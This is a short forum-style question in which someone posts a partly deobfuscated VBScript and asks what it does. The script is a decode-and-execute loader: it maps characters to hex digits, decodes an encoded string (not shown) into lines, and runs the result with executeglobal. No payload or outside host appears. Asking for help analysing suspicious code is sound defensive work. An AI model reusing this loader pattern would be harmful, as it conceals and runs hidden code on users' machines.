I deobfuscated for the most part i think. What does this code do?

var1="var2"

Set var3 = CreateObject("Scripting.Dictionary")

var4=0

var5=1

var6=2

var7=32

var8="&H"

var9=""

var10=chr(var6*6+var5)+chr(var6*5)

var11=chr(var7+15)

sub var12(var13)

var14=len(var13)

var15=""

for loop1=var5 to var14

var15=var15+var3(mid(var13,loop1,var5))

next

var14=len(var15)

for loop1=var5 to var14-var5 step var6

payload=payload+chr(int(var8+mid(var15,loop1,var6)))

next

payload=payload+var10

end sub

sub var16()

for loop1=var5 to var7

var3.add mid(var1,loop1,var5),lcase(hex(loop1-var5))

next

var17=InStr(var18,var11)

payload=var9

while var17<>var4

var19=left(var18,var17-var5)

var12(var19)

var18=mid(var18,var17+var5)

var17=InStr(var18,var11)

wend

executeglobal payload

end sub